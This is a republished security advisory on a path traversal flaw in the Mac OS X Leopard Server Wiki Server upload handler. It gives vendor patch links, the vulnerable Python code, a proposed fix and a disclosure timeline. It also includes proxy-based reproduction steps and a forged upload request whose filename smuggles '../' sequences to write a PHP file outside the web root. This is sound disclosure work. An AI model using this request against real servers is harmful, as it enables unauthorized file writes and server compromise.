|
|
|
|
| |
Credit:
The information has been provided by Core Security Technologies Advisories.
The original article can be found at: http://www.coresecurity.com/?action=item&id=2189
|
| |
Vulnerable Systems:
* Mac OS X Server version 10.5.2 (Leopard Server)
* Mac OS X version 10.5 (Leopard)
Vendor Information, Solutions and Workarounds:
Apple security updates are available via the Software Update mechanism: http://docs.info.apple.com/article.html?artnum=106704
Apple security updates are also available for manual download via: http://www.apple.com/support/downloads/
Cross-reference to Apple security updates: http://docs.info.apple.com/article.html?artnum=61798
Technical Description / Proof of Concept Code:
A path or directory traversal attack technique forces access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate the http requests in such a way that the web site will write, execute or reveal the contents of arbitrary files outside the intended path of the web documents. Any device that exposes an HTTP-based interface is potentially vulnerable to path traversal.
In the MacOS X Server the python web server called "Wiki Server" is enabled by default and every system user has a weblog available to post articles and files. Attached files are written for example in path '/Library/Collaboration/Users/guest/weblog/3f081.page/attachments/731b1/' for user 'guest' where '3f081' are hash/random hexa characters assigned to the blog post title and '731b1' are hash/random hexa characters assigned to the file uploaded.
Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where '[xxxxx]' are random hexa characters assigned to the file, as we have said. You can write on all the folders where user '_teamsserver', the user running the Wiki Server, has permissions.
For example, to reproduce the attack using Paros proxy [3], follow these steps:
- Check the web server is up.
- Check you have a system user/password in the system, for example guest, and the log in.
- Start editing a new post in your blog.
- Start Paros proxy, go to Trap tab and enable Trap requests checkbox.
- Start uploading your preferred file, for example popote.php.
- In Paros, press Continue until you find the POST request.
- Append '../../../../../../..' at the beginning of 'popote.php' plus your wished path, for example '/tmp/'.
- Press Continue a couple of times to send the request.
- If user '_teamsserver' has permissions on the wished folder, you will write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are hash/random hexa characters that depend on the file.
There are several strategies that can be used in combination with a path traversal to gain complete control of the victim's server, although we will not discuss them here
An example forged request follows:
/-----------
POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0
User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13
Host: 192.168.xxx.xxx
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language:
en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: identity, *;q=0
Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/
Cookie: cookies=1; acl_cache=3; recentTags=add tags here;
SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6;
sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904
Cookie2: $Version=1
Proxy-Connection: close
Content-length: 426
Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="Attachment";
filename="../../../../../../../tmp/popote.php"
Content-Type: application/octet-stream
<? phphinfo(); ?>
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="ok_button"
Attach
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="upload_id"
57904
------------YN7xkbcuNgNx21psG30p21-------------/
The vulnerable code is located at '/usr/share/wikid/lib/python/apple_wlt/ContentServer.py':
/-----------
def uploadFileCallback(self, result):
filename, filetype, aFile = result[1][self.type][0]
filename = filename.decode('utf-8')
filename = filename.split('')[-1] # IE sends the whole path, including your local username.
extension = filename.split('.')[-1]
oldFilename = filename
uploadType = os.path.split(self.fullpath)[-1]
if uploadType == "images":
filename = SettingsManager.findGoodName() + '.' + extension
logging.debug("beginning file upload: %s" % filename)
isImage = filenameIsImage(filename)
newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath, filename), isImage = (not uploadType == 'attachments'))
newFilename = os.path.basename(newPath)
if uploadType == "attachments":
newParentFolder = os.path.dirname(newPath)
os.mkdir(newParentFolder)
newFilename = os.path.join(os.path.basename(newParentFolder), filename)
[...]
-----------/
The hash/random hexa characters used for the attachment subfolder are generated by code at '/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py':
/-----------
def findUniqueFileName(inPath, isImage = True):
"""Uniqueifies a file name, to avoid duplicates in images and attachments"""
filename = os.path.basename(inPath)
base, extension = os.path.splitext(filename)
parent = os.path.dirname(inPath)
aPath = ''
mungedName = SettingsManager.findGoodName()
if not isImage:
#attachment, so make the minged name a subdirectory and put the file in that
aPath = os.path.join(parent, mungedName, filename)
while os.path.exists(aPath):
mungedName = SettingsManager.findGoodName(mungedName)
aPath = os.path.join(parent, mungedName, filename)
else:
aPath = os.path.join(parent, mungedName + extension)
while os.path.exists(aPath):
mungedName = SettingsManager.findGoodName(mungedName)
aPath = os.path.join(parent, mungedName + extension)
return aPath
-----------/
One possibility for fixing this issue is to use the function 'safePath' from '/usr/share/wikid/lib/python/apple_utilities/PathHelper.py' to check if the filename is sane:
/-----------
def safePath(inPath):
"""Returns whether the path is safe or not as defined by the absence of arbitrary path traversal elements"""
pieces = inPath.split('/')
if '..' in pieces:
return False
return True
-----------/
Report Timeline:
2008-01-30: Vendor is notified that vulnerabilities were discovered and that an advisory draft is available.
2008-01-31: Vendor acknowledges the notification and requests the draft.
2008-01-31: Core sends the draft, including the PoC http request.
2008-02-12: Core requests update information on the vulnerability and offers to coordinate the date of the disclosure.
2008-02-18: Core requests again information on the vulnerability.
2008-02-18: Vendor replies that the vulnerability will be fixed after the update to be released in March, and asks Core to keep the issues private until the disclosure.
2008-02-19: Core writes back to the Vendor confirming that the release will be coordinated unless there are clear indications of the vulnerability being exploited in the wild, in that case the advisory will be published as "forced release".
2008-03-03: Core requests update info on the vulnerability, a concrete schedule and text for the advisory section called "Vendor Information, Solutions and Workarounds".
2008-03-04: Vendor sends information to be included in advisory CORE-2008-0123 including the Vendor's updates channels, draft of Vendor's own advisory and confirmation that the path traversal affects Wiki Server as opposed to Calendar Server as said earlier by Core. The vendor believes the security update will be made publicly available on March 17th.
2008-03-05: Core confirms that information sent by the vendor will be keep confidential until the release of the fixed version.
2008-03-13: Core requests the vendor an update on the coordinated date of disclosure.
2008-03-13: Vendor confirms that the exact date of fix release is March 18th.
2008-03-14: Core acknowledges the mail with the coordinated date.
2008-03-18: Advisory CORE-2008-0123 is published.
References:
[1] http://www.apple.com/server/macosx/
[2] http://www.apple.com/server/macosx/features/wikis.html
[3] Paros proxy
CVE Information:
CVE-2008-1000
|
|
|
|
|
